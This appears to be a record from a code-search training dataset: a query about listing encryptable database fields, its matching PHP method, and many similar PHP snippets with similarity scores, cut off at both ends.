$authorID;\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\telse\n\t\t\t\t{\n\t\t\t\t\tAlert::warning(\"Author Failure\", \"That author was not located on the site.\");\n\t\t\t\t}\n\t\t\t}\n\t\t\t\n\t\t\t// Date Posted\n\t\t\tif(isset($_POST['date_posted']) and $_POST['date_posted'] != $this->contentData['date_posted'])\n\t\t\t{\n\t\t\t\t$this->contentData['date_posted'] = $_POST['date_posted'];\n\t\t\t\t$this->settingUpdate = true;\n\t\t\t}\n\t\t}\n\t\t\n\t\t// Post Status\n\t\tif(isset($_POST['save_official']) and $this->contentData['status'] < Content::STATUS_OFFICIAL and Me::$clearance >= 6)\n\t\t{\n\t\t\tif(!$this->contentData['primary_hashtag'])\n\t\t\t{\n\t\t\t\tAlert::warning(\"Primary Hashtag\", \"You must have a primary hashtag selected to finish publication.\");\n\t\t\t}\n\t\t\telse\n\t\t\t{\n\t\t\t\t$this->contentData['status'] = Content::STATUS_OFFICIAL;\n\t\t\t\t$this->statusUpdate = true;\n\t\t\t}\n\t\t}\n\t\t\n\t\telse if(isset($_POST['save_publish']) and $this->contentData['status'] < Content::STATUS_GUEST)\n\t\t{\n\t\t\t$this->contentData['status'] = Content::STATUS_GUEST;\n\t\t\t$this->statusUpdate = true;\n\t\t\t\n\t\t\t// Add the entry to the queue\n\t\t\tContent::queue($this->contentID);\n\t\t}\n\t\t\n\t\telse if(isset($_POST['save_guest']) and $this->contentData['status'] > Content::STATUS_GUEST and Me::$clearance >= 6)\n\t\t{\n\t\t\t$this->contentData['status'] = Content::STATUS_GUEST;\n\t\t\t$this->statusUpdate = true;\n\t\t}\n\t\t\n\t\t// Date Posted\n\t\tif($this->contentData['status'] >= Content::STATUS_GUEST and !$this->contentData['date_posted'])\n\t\t{\n\t\t\t$this->contentData['date_posted'] = time();\n\t\t}\n\t\t\n\t\tif(Me::$clearance >= 6)\n\t\t{\n\t\t\t// Comments\n\t\t\tif(isset($_POST['comments']) and $_POST['comments'] != $this->contentData['comments'])\n\t\t\t{\n\t\t\t\t$this->contentData['comments'] = (int) $_POST['comments'];\n\t\t\t\t$this->settingUpdate = true;\n\t\t\t}\n\t\t\t\n\t\t\t// Voting\n\t\t\tif(isset($_POST['voting']) and $_POST['voting'] != $this->contentData['voting'])\n\t\t\t{\n\t\t\t\t$this->contentData['voting'] = (int) $_POST['voting'];\n\t\t\t\t$this->settingUpdate = true;\n\t\t\t}\n\t\t}\n\t\t\n\t\treturn $this->settingUpdate;\n\t}", "public function update_site_setting(Request $request) {\n $validator = $this->validate($request,[\n 'mail_id' => 'required|email',\n 'commission_persentage' => 'required'\n ]);\n try{\n \n $upload_file = $this->SiteSettingRepository->createUpdateData(['id'=> $this->request->id],$this->request->all());\n \\Session::flash('success_message', \"Setiings Updated Successfully!\");\n return redirect('/admin/site_setting');\n }catch (\\Exception $ex){\n \\Session::flash('error_message', $ex->getMessage());\n return back()->withInput();\n }\n }" ]
[ "0.66619384", "0.59582204", "0.5904883", "0.5824981", "0.55977345", "0.5556374", "0.546992", "0.5460652", "0.544151", "0.5406278", "0.53988165", "0.5363083", "0.5358136", "0.53512156", "0.53455406", "0.5324636", "0.53238577", "0.5312618", "0.5295003", "0.52854896", "0.5272663", "0.526346", "0.52535796", "0.52501523", "0.5227931", "0.52135533", "0.5194885", "0.5191335", "0.5186109", "0.5164687", "0.5159586", "0.515264", "0.5150007", "0.51465154", "0.51309377", "0.5126858", "0.5118886", "0.50765157", "0.5069319", "0.5066674", "0.5065285", "0.5060136", "0.5046436", "0.5041597", "0.50382197", "0.5029266", "0.50274", "0.50254333", "0.5014487", "0.50144225", "0.5007283", "0.50065947", "0.5005626", "0.4992815", "0.49924257", "0.49924177", "0.49856243", "0.49816504", "0.49775785", "0.4976281", "0.49729052", "0.49721396", "0.4969108", "0.49672875", "0.49631083", "0.49612227", "0.4956566", "0.49564528", "0.49548194", "0.49509367", "0.49464777", "0.49414802", "0.4923243", "0.49190181", "0.49189168", "0.49148384", "0.49127513", "0.49098644", "0.49037918", "0.49015138", "0.48971304", "0.48937723", "0.48829627", "0.48797002", "0.4877912", "0.4874676", "0.4870127", "0.48647705", "0.48633242", "0.48576903", "0.48570952", "0.4856707", "0.48531976", "0.48475084", "0.48448235", "0.48431212", "0.48401183", "0.48396367", "0.4839012", "0.48334187" ]
0.6870661
0
Returns an array of all fields to encrypt when storing in the database
public function encryptableFields() { return array("key"); }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "public function encryptableFields()\n {\n return array(\"key\");\n }", "public function sensitiveFields(): array\n {\n return static::SENSITIVE_FIELDS;\n }", "public function getEncryptAttributes()\n {\n if (property_exists(get_called_class(), 'encrypt')) {\n return $this->encrypt;\n }\n\n return [];\n }", "public function getFields():array\n {\n return [\n 'x_login' => 'text',\n 'x_trans_key' => 'text',\n 'secret_key' => 'password',\n ];\n }", "public function getFields(): array\n {\n return [\n 'user_id' => 'text',\n 'api_key' => 'text',\n 'shop_id' => 'text',\n 'secret_key' => 'password',\n ];\n }", "private static function fields()\n {\n $fields = static::$fields;\n $primary_key = static::$primary_key;\n\n $rows = [$primary_key, ...$fields];\n\n if(!count($rows)) {\n return ['*'];\n }\n\n return $rows;\n }", "public function getEncryptedColumns() {\n return [\n self::C_INSTALLATION_ID\n ];\n }", "private function prepareData($fields) {\n \n $insertData = array();\n \n foreach ($fields as $field) {\n if ($this->notManyToManyRelation($field)) {\n \n if($field->multiLanguage) {\n $name = getLocalizedFieldName($field->name);\n } else {\n $name = $field->name;\n }\n $insertData[$name] = $field->value;\n }\n if ($field instanceof PasswordField) {\n $insertData[$field->name] = md5($field->value);\n }\n }\n // auto generated unique id\n unset($insertData[\"id\"]);\n return $insertData;\n }", "protected function getAttributesToObfuscate(): array\n {\n return config('logbook.obfuscated_fields');\n }", "public static function fields()\n {\n return [\n 'name' => 'text',\n 'lastname' => 'text',\n 'password' => 'password',\n 'email' => 'email',\n 'github_username' => 'text',\n ];\n }", "private function _prepareFields()\n\t{\n\t\t$result = [];\n\n\t\tforeach ($this->_fields as $field => $params) {\n\n\t\t\tif ($field == 'languageTable') {\n\t\t\t\tcontinue;\n\t\t\t}\n\n\t\t\t$tmp = '`' . $field . '` ' . $params['type'];\n\n\t\t\tif (in_array($params['type'], ['char', 'varchar'])) {\n\t\t\t\t$length = isset($params['length']) ? $params['length'] : 100;\n\t\t\t\t$tmp .= '(' . $length . ')';\n\t\t\t}\n\n\t\t\t$tmp .= ($params['null']) ? ' NULL' : ' NOT NULL';\n\t\t\t$tmp .= ($params['default'] || $params['default'] === 0) ? ' DEFAULT ' . $params['default'] : '';\n\n\n\t\t\tif ($field == 'id') {\n\t\t\t\t$tmp .= ' AUTO_INCREMENT PRIMARY KEY';\n\t\t\t}\n\n\t\t\t$result[] = $tmp;\n\t\t}\n\n\t\treturn implode(',', $result);\n\t}", "public function getfillableEncrypt()\n {\n return $this->fillableEncrypt;\n }", "public function getEncryptMetadata();", "public function database(){\n\t\t// define each field\n\t\t\t$fields[$this->name] = array(\n\t\t\t\t\t'field' => $this->name,\n\t\t\t\t\t'type' => 'text',\n\t\t\t\t\t'option' => array(),\n \t\t\t\t\t'key' => '',\n\t\t\t\t\t'default' => false,\n\t\t\t\t\t'extra' => '',\n\t\t\t\t\t'comment' => 'locales',\n\t\t\t);\n\t\treturn $fields;\n\t}", "private function getFieldNameEnclosures(): array\n {\n\n return match ( $this->parent->getDbType() )\n {\n DbType::PGSQL, DbType::SQLITE => [ '\"', '\"' ],\n default => [ '`', '`' ],\n };\n\n }", "public function attributesToArray()\n {\n $attributes = parent::attributesToArray(); // call the parent method\n\n foreach ($this->encryptable as $key) {\n if (isset($attributes[$key])) {\n $attributes[$key] = Crypt::decrypt($attributes[$key]);\n }\n }\n\n return $attributes;\n }", "public function encryptedSettings(): array\n {\n return [];\n }", "public function encryptedSettings(): array\n {\n return [];\n }", "public function getKeyFields()\n {\n return $this->_aKeyFieldList;\n }", "private function _fields() {\n if ($this->_table() && empty($this->fields)) {\n $this->fields = $this->db->list_fields($this->_table());\n }\n return $this->fields;\n }", "public function fields()\r\n {\r\n return array_keys($this->getKey('schema', true));\r\n }", "public function\n\t\tget_key_fields()\n\t{\n\t\tif (!isset($this->key_fields)) {\n\t\t\t$this->key_fields = array();\n\t\t\t\n\t\t\t$sxe = $this->get_simple_xml_element();\n\t\t\t\n\t\t\tforeach ($sxe->table->{'key-fields'}->field as $field) {\n\t\t\t\t#print_r($field);\n\t\t\t\t\n\t\t\t\t$this->key_fields[] = (string)$field['name'];\n\t\t\t}\n\t\t\t\n\t\t\t/*\n\t\t\t * If the key_fields array hasn't been set, use the default\n\t\t\t * values.\n\t\t\t */\n\t\t\tif (count($this->key_fields) < 1) {\n\t\t\t\t$this->key_fields = array('id');\n\t\t\t}\n\t\t}\n\t\t\n\t\treturn $this->key_fields;\n\t}", "public function getEncryptionDictionary();", "public function getFields() {\n\t\treturn array(\n\t\t\tself::FIELD_ID,\n\t\t\tself::FIELD_PHRASE_ID,\n\t\t\tself::FIELD_LANGUAGE_ID,\n\t\t\tself::FIELD_TRANSLATION,\n\t\t\tself::FIELD_CREATED_AT,\n\t\t\tself::FIELD_USER_ID,\n\t\t);\n\t}", "public function getIdentityFields();", "public function getEncryptMetadata() {}", "public function fields()\n {\n return array_merge(\n parent::fields(),\n [\n 'storeId' => function ($model) {\n return (string)$model->storeId;\n },\n 'phone', 'badge', 'name', 'gender', 'birthday','channel','qrcodeUrl',\n 'isActivated' => function ($model) {\n $status = $model->isActivated ? 'ENABLE' : 'DISABLE';\n return $status;\n },\n 'accountId' => function ($model) {\n return (string) $model->accountId;\n },\n 'createdAt' => function ($model) {\n return MongodbUtil::MongoDate2String($model->createdAt, 'Y-m-d H:i:s');\n },\n ]\n );\n }", "public static function getAllFields(): array\n {\n $className = get_called_class();\n $table = with(new $className)->getTable();\n $cache_key = self::$cache_prefix.'.ALLFIELDS.' . strtoupper($table);\n\n return self::$use_cache ? Cache::remember($cache_key, 5 * 60, function () use ($table) {\n return \\Schema::getColumnListing($table);\n }) : \\Schema::getColumnListing($table);\n }", "public function fieldCreate()\n\t{\n\t\t$fields=array();\n\t\tforeach($this->getTable()->result_array() as $row)\n\t\t{\n\t\t\tif($row['Extra']!=='auto_increment')\n\t\t\t{\n\t\t\t\t$fields[]=array(\n\t\t\t\t\t'field'=>$row['Field'],\n\t\t\t\t\t'max_length'=>preg_match('/varchar/',$row['Type']) ? (preg_replace('/[A-Za-z()]/','',$row['Type'])!=='' ? '\\'maxlength\\'=>'.preg_replace('/[A-Za-z()]/','',$row['Type']).',' : false) : false,\n\t\t\t\t\t'type'=>preg_match('/text/',$row['Type']) ? 'Area' : 'Field',\n\t\t\t\t\t'required'=>$row['Null']=='NO' ? true : false,\n\t\t\t\t\t'input'=>preg_match('/^(password|pass|passwd|passcode)$/i',$row['Field']) ? 'password' : 'text',\n\t\t\t\t);\n\t\t\t}\n\t\t}\n\t\treturn $fields;\n\t}", "public function getFields(){\n return $this->dbFields;\n }", "public static function getDbFields()\n {\n global $zdb;\n $columns = $zdb->getColumns(self::TABLE);\n $fields = array();\n foreach ( $columns as $col ) {\n $fields[] = $col->getName();\n }\n return $fields;\n }", "public function _getUpdateKeys() {\n return array(Model_Fields_FieldDB::DB_COLUMN_ID => $this->{Model_Fields_FieldDB::DB_COLUMN_ID});\n }", "private function setFields(): string\n {\n $sql = '';\n\n foreach (array_keys($this->data) as $key) {\n $sql .= '`' . $key . '` = ? , ';\n }\n return rtrim($sql, ', ');\n }", "public function getRequestFieldsToSave(){\n\t\treturn array();\n\t}", "protected function getAdditionalFields() : array\n {\n return [\n 'VK_ENCODING' => $this->requestEncoding,\n ];\n }", "public function getEncryptionDictionary() {}", "protected function attributes() {\n $attributes = array();\n foreach(static::$db_fields as $field) {\n if(property_exists($this, $field)) {\n $attributes[$field] = $this->$field;\n }\n }\n return $attributes;\n }", "public function getFields() {\n $columns = $this->schema();\n if (empty($columns)) {\n trigger_error(__d('cake_dev', '(Model::getColumnTypes) Unable to build model field data. If you are using a model without a database table, try implementing schema()'), E_USER_WARNING);\n }\n\n $results = array();\n foreach ($columns as $key => $col) {\n $results[] = $key;\n }\n unset($columns);\n return $results;\n }", "function GetFieldsList()\n\t{\n\t\tglobal $dal_info;\n\t\treturn array_keys( $dal_info[ $this->infoKey ] );\n\t}", "private function setFields()\n\t{\t\n\t\t$sql = '';\n\t\t\n\t\tforeach (array_keys($this->data) as $key)\n\t\t{\n\t\t\t$sql .= '`' . $key . '` = ? , ';\n\t\t}\n\t\t\n\t\t$sql = rtrim($sql, ', ');\n\t\t\n\t\treturn $sql;\n\t}", "public function getAllFields();", "protected function prepareFields(): array\n {\n $formFields = [];\n foreach ($this->toArray() as $key => $value) {\n if ($value !== null) {\n $formFields[ucfirst($key)] = $value;\n }\n }\n return $formFields;\n }", "public function attributes()\n {\n $attributes = array();\n foreach(self::$db_fields as $field)\n {\n if(property_exists($this,$field))\n {\n $attributes[$field] = $this->$field;\n }\n }\n return $attributes;\n }", "protected function attributes() {\n\t $attributes = array();\n\t foreach(self::$db_fields as $field) {\n\t if(property_exists($this, $field)) {\n\t $attributes[$field] = $this->$field;\n\t }\n\t }\n\t return $attributes;\n\t}", "public function getFields()\n {\n return array(\n 'id' => array('int', 6, array('primary' => true)),\n 'created' => array('datetime', 255, array('null' => false)),\n 'customer_id' => array('int', 8, array('null' => false)),\n 'device_id' => array('int', 8, array('null' => false)),\n );\n }", "public function db_fields() {\n\t\treturn array('tid', 'title', 'template');\n\t}", "function fields($data) {\n return '`' . implode('`, `', array_keys($data)) . '`';\n}", "protected static function sync_fields(){\n\t\treturn array(\n\t\t\t'text',\n\t\t\t'email',\n\t\t\t'html',\n\t\t\t'number',\n\t\t\t'hidden',\n\t\t\t'url',\n\t\t\t'phone_better',\n\t\t\t'paragraph'\n\t\t);\n\t}", "final public function getAllFields()\r\n {\r\n return array($this->_field);\r\n }", "protected function attributes() {\n\t\t$attributes = array();\n\t\tforeach(self::$db_fields as $field) {\n\t\t\tif(property_exists($this, $field)){\n\t\t\t\t$attributes[$field] = $this->$field;\n\t\t\t}\n\t\t}\n\t\treturn $attributes;\n\t}", "protected function attributes() {\n\t\t$attributes = array();\n\t\tforeach (self::$db_fields as $field) {\n\t\t\tif (property_exists($this, $field)) {\n\t\t\t\t$attributes[$field] = $this->$field;\n\t\t\t}\n\t\t}\n\t\treturn $attributes;\n\t}", "public function getSaveFields()\n {\n\n return array\n (\n 'wbfsys_person_duplicate_suspicion' => array\n (\n 'id_person',\n 'id_duplicate',\n 'id_propability',\n 'm_version',\n ),\n\n );\n\n }", "public function getTableFields()\n {\n return array(\n array(\"Field\" => \"uid_empresa\", \"Type\" => \"int(10)\", \"Null\" => \"NO\", \"Key\" => \"PRI\", \"Default\" => \"\", \"Extra\" => \"auto_increment\"),\n array(\"Field\" => \"endeve_id\", \"Type\" => \"varchar(60)\", \"Null\" => \"NO\", \"Key\" => \"\", \"Default\" => \"\", \"Extra\" => \"\"),\n array(\"Field\" => \"pago_no_obligatorio\", \"Type\" => \"int(1)\", \"Null\" => \"NO\", \"Key\" => \"\", \"Default\" => \"0\", \"Extra\" => \"\"),\n array(\"Field\" => \"nombre\", \"Type\" => \"varchar(100)\", \"Null\" => \"NO\", \"Key\" => \"\", \"Default\" => \"\", \"Extra\" => \"\"),\n array(\"Field\" => \"nombre_comercial\", \"Type\" => \"varchar(200)\", \"Null\" => \"NO\", \"Key\" => \"\", \"Default\" => \"\", \"Extra\" => \"\"),\n array(\"Field\" => \"representante_legal\", \"Type\" => \"varchar(512)\", \"Null\" => \"NO\", \"Key\" => \"\", \"Default\" => \"\", \"Extra\" => \"\"),\n array(\"Field\" => \"cif\", \"Type\" => \"varchar(20)\", \"Null\" => \"NO\", \"Key\" => \"UNI\", \"Default\" => \"\", \"Extra\" => \"\"),\n array(\"Field\" => \"pais\", \"Type\" => \"int(11)\", \"Null\" => \"NO\", \"Key\" => \"\", \"Default\" => \"1\", \"Extra\" => \"\"),\n array(\"Field\" => \"uid_pais\", \"Type\" => \"int(11)\", \"Null\" => \"NO\", \"Key\" => \"\", \"Default\" => \"1\", \"Extra\" => \"\"),\n array(\"Field\" => \"direccion\", \"Type\" => \"varchar(255)\", \"Null\" => \"NO\", \"Key\" => \"\", \"Default\" => \"\", \"Extra\" => \"\"),\n array(\"Field\" => \"localidad\", \"Type\" => \"varchar(255)\", \"Null\" => \"NO\", \"Key\" => \"\", \"Default\" => \"\", \"Extra\" => \"\"),\n array(\"Field\" => \"provincia\", \"Type\" => \"varchar(255)\", \"Null\" => \"NO\", \"Key\" => \"\", \"Default\" => \"\", \"Extra\" => \"\"),\n array(\"Field\" => \"cp\", \"Type\" => \"int(8)\", \"Null\" => \"NO\", \"Key\" => \"\", \"Default\" => \"\", \"Extra\" => \"\"),\n array(\"Field\" => \"accion\", \"Type\" => \"timestamp\", \"Null\" => \"NO\", \"Key\" => \"\", \"Default\" => \"CURRENT_TIMESTAMP\", \"Extra\" => \"\"),\n array(\"Field\" => \"updated\", \"Type\" => \"int(1)\", \"Null\" => \"NO\", \"Key\" => \"\", \"Default\" => \"0\", \"Extra\" => \"\"),\n array(\"Field\" => \"uid_provincia\", \"Type\" => \"int(11)\", \"Null\" => \"NO\", \"Key\" => \"\", \"Default\" => \"\", \"Extra\" => \"\"),\n array(\"Field\" => \"uid_municipio\", \"Type\" => \"int(11)\", \"Null\" => \"NO\", \"Key\" => \"\", \"Default\" => \"\", \"Extra\" => \"\"),\n array(\"Field\" => \"convenio\", \"Type\" => \"varchar(255)\", \"Null\" => \"NO\", \"Key\" => \"\", \"Default\" => \"\", \"Extra\" => \"\"),\n array(\"Field\" => \"created\", \"Type\" => \"int(11)\", \"Null\" => \"NO\", \"Key\" => \"\", \"Default\" => \"\", \"Extra\" => \"\"),\n array(\"Field\" => \"aviso_caducidad_subcontratas\", \"Type\" => \"int(1)\", \"Null\" => \"YES\", \"Key\" => \"\", \"Default\" => \"\", \"Extra\" => \"\"),\n array(\"Field\" => \"color\", \"Type\" => \"varchar(10)\", \"Null\" => \"YES\", \"Key\" => \"\", \"Default\" => \"\", \"Extra\" => \"\"),\n array(\"Field\" => \"email\", \"Type\" => \"varchar(255)\", \"Null\" => \"YES\", \"Key\" => \"\", \"Default\" => \"\", \"Extra\" => \"\"),\n array(\"Field\" => \"is_enterprise\", \"Type\" => \"int(1)\", \"Null\" => \"NO\", \"Key\" => \"\", \"Default\" => \"0\", \"Extra\" => \"\"),\n array(\"Field\" => \"logo\", \"Type\" => \"tinytext\", \"Null\" => \"YES\", \"Key\" => \"\", \"Default\" => \"\", \"Extra\" => \"\"),\n array(\"Field\" => \"skin\", \"Type\" => \"varchar(300)\", \"Null\" => \"NO\", \"Key\" => \"\", \"Default\" => \"dokify\", \"Extra\" => \"\"),\n array(\"Field\" => \"lang\", \"Type\" => \"varchar(2)\", \"Null\" => \"NO\", \"Key\" => \"\", \"Default\" => \"es\", \"Extra\" => \"\"),\n array(\"Field\" => \"activo_corporacion\", \"Type\" => \"int(1)\", \"Null\" => \"NO\", \"Key\" => \"\", \"Default\" => \"0\", \"Extra\" => \"\"),\n array(\"Field\" => \"pago_aplicacion\", \"Type\" => \"int(1)\", \"Null\" => \"NO\", \"Key\" => \"\", \"Default\" => \"0\", \"Extra\" => \"\"),\n array(\"Field\" => \"receive_summary\", \"Type\" => \"int(1)\", \"Null\" => \"YES\", \"Key\" => \"\", \"Default\" => \"1\", \"Extra\" => \"\"),\n array(\"Field\" => \"date_last_summary\", \"Type\" => \"int(16)\", \"Null\" => \"YES\", \"Key\" => \"\", \"Default\" => \"0\", \"Extra\" => \"\"),\n array(\"Field\" => \"license\", \"Type\" => \"int(1)\", \"Null\" => \"NO\", \"Key\" => \"\", \"Default\" => \"\", \"Extra\" => \"\"),\n array(\"Field\" => \"is_validation_partner\", \"Type\" => \"int(1)\", \"Null\" => \"YES\", \"Key\" => \"\", \"Default\" => \"0\", \"Extra\" => \"\"),\n array(\"Field\" => \"partner_validation_price\", \"Type\" => \"float\", \"Null\" => \"YES\", \"Key\" => \"\", \"Default\" => \"0\", \"Extra\" => \"\"),\n array(\"Field\" => \"partner_validation_price_urgent\", \"Type\" => \"float\", \"Null\" => \"YES\", \"Key\" => \"\", \"Default\" => \"0\", \"Extra\" => \"\"),\n array(\"Field\" => \"validation_languages\", \"Type\" => \"varchar(250)\", \"Null\" => \"YES\", \"Key\" => \"\", \"Default\" => \"\", \"Extra\" => \"\"),\n array(\"Field\" => \"cost\", \"Type\" => \"float\", \"Null\" => \"NO\", \"Key\" => \"\", \"Default\" => \"0\", \"Extra\" => \"\"),\n array(\"Field\" => \"pay_for_contracts\", \"Type\" => \"int(1)\", \"Null\" => \"YES\", \"Key\" => \"\", \"Default\" => \"0\", \"Extra\" => \"\"),\n array(\"Field\" => \"invoice_periodicity\", \"Type\" => \"int(1)\", \"Null\" => \"NO\", \"Key\" => \"\", \"Default\" => \"1\", \"Extra\" => \"\"),\n array(\"Field\" => \"req_attached\", \"Type\" => \"int(9)\", \"Null\" => \"NO\", \"Key\" => \"\", \"Default\" => \"\", \"Extra\" => \"\"),\n array(\"Field\" => \"req_validated\", \"Type\" => \"int(9)\", \"Null\" => \"NO\", \"Key\" => \"\", \"Default\" => \"\", \"Extra\" => \"\"),\n array(\"Field\" => \"req_rejected\", \"Type\" => \"int(9)\", \"Null\" => \"NO\", \"Key\" => \"\", \"Default\" => \"\", \"Extra\" => \"\"),\n array(\"Field\" => \"req_expired\", \"Type\" => \"int(9)\", \"Null\" => \"NO\", \"Key\" => \"\", \"Default\" => \"\", \"Extra\" => \"\"),\n array(\"Field\" => \"is_transfer_pending\", \"Type\" => \"int(1)\", \"Null\" => \"YES\", \"Key\" => \"\", \"Default\" => \"0\", \"Extra\" => \"\"),\n array(\"Field\" => \"kind\", \"Type\" => \"int(1)\", \"Null\" => \"NO\", \"Key\" => \"\", \"Default\" => \"0\", \"Extra\" => \"\"),\n array(\"Field\" => \"min_app_version\", \"Type\" => \"int(1)\", \"Null\" => \"NO\", \"Key\" => \"\", \"Default\" => \"2\", \"Extra\" => \"\"),\n array(\"Field\" => \"prevention_service\", \"Type\" => \"varchar(20)\", \"Null\" => \"YES\", \"Key\" => \"\", \"Default\" => \"\", \"Extra\" => \"\"),\n array(\"Field\" => \"is_idle\", \"Type\" => \"int(1)\", \"Null\" => \"NO\", \"Key\" => \"\", \"Default\" => \"0\", \"Extra\" => \"\"),\n array(\"Field\" => \"corporation\", \"Type\" => \"int(11)\", \"Null\" => \"YES\", \"Key\" => \"\", \"Default\" => \"\", \"Extra\" => \"\"),\n array(\"Field\" => \"uid_referrer\", \"Type\" => \"int(11)\", \"Null\" => \"YES\", \"Key\" => \"MUL\", \"Default\" => \"\", \"Extra\" => \"\"),\n array(\"Field\" => \"requirement_count\", \"Type\" => \"int(11)\", \"Null\" => \"NO\", \"Key\" => \"\", \"Default\" => \"0\", \"Extra\" => \"\"),\n array(\"Field\" => \"invoice_count\", \"Type\" => \"int(11)\", \"Null\" => \"NO\", \"Key\" => \"\", \"Default\" => \"0\", \"Extra\" => \"\"),\n array(\"Field\" => \"is_referrer\", \"Type\" => \"int(1)\", \"Null\" => \"NO\", \"Key\" => \"\", \"Default\" => \"0\", \"Extra\" => \"\"),\n array(\"Field\" => \"uid_manager\", \"Type\" => \"int(11)\", \"Null\" => \"YES\", \"Key\" => \"MUL\", \"Default\" => \"\", \"Extra\" => \"\"),\n array(\"Field\" => \"is_self_controlled\", \"Type\" => \"int(1)\", \"Null\" => \"NO\", \"Key\" => \"\", \"Default\" => \"1\", \"Extra\" => \"\"),\n array(\"Field\" => \"has_custom_login\", \"Type\" => \"int(1)\", \"Null\" => \"NO\", \"Key\" => \"\", \"Default\" => \"0\", \"Extra\" => \"\"),\n array(\"Field\" => \"header_img\", \"Type\" => \"tinytext\", \"Null\" => \"YES\", \"Key\" => \"\", \"Default\" => \"\", \"Extra\" => \"\"), array(\"Field\" => \"uid_manager\", \"Type\" => \"int(11)\", \"Null\" => \"YES\", \"Key\" => \"MUL\", \"Default\" => \"\", \"Extra\" => \"\"),\n array(\"Field\" => \"uid_referrer\", \"Type\" => \"int(11)\", \"Null\" => \"YES\", \"Key\" => \"MUL\", \"Default\" => \"\", \"Extra\" => \"\"),\n array(\"Field\" => \"requirements_origin_company_cloneables\", \"Type\" => \"int(1)\", \"Null\" => \"NO\", \"Key\" => \"\", \"Default\" => \"0\", \"Extra\" => \"\"),\n );\n }", "private function getFieldsOnTable()\n{\n\n $returnArray=array(); \n foreach ($this->tableStructure as $ind => $fieldArray) { \n $returnArray[$fieldArray['columnName']]=$fieldArray['columnName'];\n }\n \n return $returnArray; \n}", "public function _getUpdateKeys() {\n return array(Model_Fields_PracticeFieldCoordinatorDB::DB_COLUMN_ID => $this->{Model_Fields_PracticeFieldCoordinatorDB::DB_COLUMN_ID});\n }", "public function getSelectFields() {\r\n\t\t$f = array();\r\n\t\tforeach($this->_salt_fields as $field) {\r\n\t\t\t$f[]=last($field);\r\n\t\t}\r\n\t\treturn $f;\r\n\t}", "public function toArray()\n {\n $fields = array(); \n foreach ($GLOBALS['InfusionsoftApp']->fields[$this->_table] as $field)\n {\n $fields[$field] = $this->$field;\n } \n return $fields;\n }", "public function _getUpdateKeys() {\r\n return array(Model_Fields_LeagueDB::DB_COLUMN_ID => $this->{Model_Fields_LeagueDB::DB_COLUMN_ID});\r\n }", "public function fields()\n {\n return [ \n ];\n }", "function db_fields_to_keys_vals($fields, $funcs) {\r\n\tglobal $msq;\r\n\t$keys = [];\r\n\t$vals = [];\r\n\tforeach ($fields as $k => $v) {\r\n\t\t$keys []= $k;\r\n\t\t$vals []= '\"'.mysqli_real_escape_string($msq, $v).'\"';\r\n\t}\r\n\tif ($funcs != null) {\r\n\t\tforeach ($funcs as $k => $v) {\r\n\t\t\t$keys []= $k;\r\n\t\t\t$vals []= $v;\r\n\t\t}\r\n\t}\r\n\treturn [$keys, $vals];\r\n}", "function getArray(){\n\t\t\t\t\t$fieldArray = array('username'=> $this->_username, 'password'=>$this->_password);\n\t\t\t\t\treturn $fieldArray;\n\t\t\t\t}", "protected function attributes() {\n\t $attributes = array();\n\t foreach(static::$table_fields as $field) {\n\t if(property_exists( $this, $field)) {\n\t $attributes[$field] = $this->$field;\n\t }\n\t }\n\t return $attributes;\n }", "protected function getFields()\n {\n return array(\n 'user_id',\n 'name',\n 'oauth_user_id',\n 'username',\n 'pic_url',\n 'oauth_provider',\n 'token',\n 'secret'\n );\n }", "public function fields(){\n\t\treturn array();\n\t}", "public static function getListOfUserFields()\n {\n // so, list needs to be manually updated\n return array(\n \"morgid\",\n \"garageid\",\n \"talkid\",\n \"username\",\n \"password\",\n \"joindate\",\n \"title\",\n \"firstname\",\n \"lastname\",\n \"birthdate\",\n \"street\",\n \"postcode\",\n \"city\",\n \"country\",\n \"ccode\",\n \"email\",\n \"phone\",\n \"fax\",\n \"homepage\",\n \"jabber\",\n \"icq\",\n \"aim\",\n \"yahoo\",\n \"msn\",\n \"skype\",\n );\n }", "public function getCliDbencryptInfo()\n {\n return $this->get(self::CLIDBENCRYPTINFO);\n }", "public static function fields()\n\t{\n\t\t$array = self::$fields;\n\n\t\tfor($g = 0; $g < sizeof(self::$genders); $g++)\n\t\t\t$array[] = 'interested_'.$g;\n\n\t\tfor($i = 0; $i < sizeof(self::$questions); $i++)\n\t\t\t$array[] = 'question_'.$i;\n\n\t\treturn $array;\n\t}", "public function getFields() {\n return array_keys($this->_fields);\n }", "final public function getFields(): array\n {\n return array_keys($this->fields);\n }", "public function get_fields()\n {\n $l_table = $this->m_cat_dao->get_table();\n $l_properties = $this->m_cat_dao->get_properties();\n\n return [\n $l_table . '__id' => 'ID',\n $l_table . '__key' => $l_properties['key'][C__PROPERTY__INFO][C__PROPERTY__INFO__TITLE],\n $l_table . '__value' => $l_properties['value'][C__PROPERTY__INFO][C__PROPERTY__INFO__TITLE],\n $l_table . '__group' => $l_properties['group'][C__PROPERTY__INFO][C__PROPERTY__INFO__TITLE],\n 'isys_catg_identifier_type__title' => $l_properties['type'][C__PROPERTY__INFO][C__PROPERTY__INFO__TITLE]\n ];\n }", "public static function getDbConvert( )\n {\n return array(\n 'F_id' => 'fileId',\n 'F_displayName' => 'displayName',\n 'F_address' => 'address',\n 'F_timeStamp' => 'timeStamp',\n 'F_fileSize' => 'fileSize',\n 'F_hash' => 'hash',\n 'F_body' => 'body',\n 'F_comment' => 'comment',\n 'F_mimeType' => 'mimeType'\n );\n }", "public function fields();", "public function fields();", "public function fields();", "public function fields();", "public function fields();", "function get_fields_text()\n\t{\n\t\t$fields_text\t=\tarray(); \n\t\t$fields\t\t=\t$this->_get_fields();\n\t\tforeach ( $fields as $field )\n\t\t{\n\t\t\tif ( $field->type == 'varchar' ||\n\t\t\t $field->type == 'text'\n\t\t\t )\n\t\t\t{\n\t\t\t\t$fields_text[]->name\t= $field->name;\n\t\t\t}\n\t\t}\n\t\t\n\t\treturn $fields_text;\n\t}", "public function fields(): array\n {\n return [\n 'firstName' => [\n 'type' => Type::string(),\n 'description' => 'The first name of user'\n ],\n 'middleName' => [\n 'type' => Type::string(),\n 'description' => 'The middle name of the user'\n ],\n 'lastName' => [\n 'type' => Type::string(),\n 'description' => 'The last name of the user'\n ],\n 'id' => [\n 'type' => Type::int(),\n 'description' => 'Users identification.'\n ]\n ];\n }", "public function getFields()\r\n {\r\n return array_keys($this->fields);\r\n }", "public function serialize() {\n\t\treturn serialize(array($this->id, $this->password, $this->salt, $this->email,));\n\t}", "public function 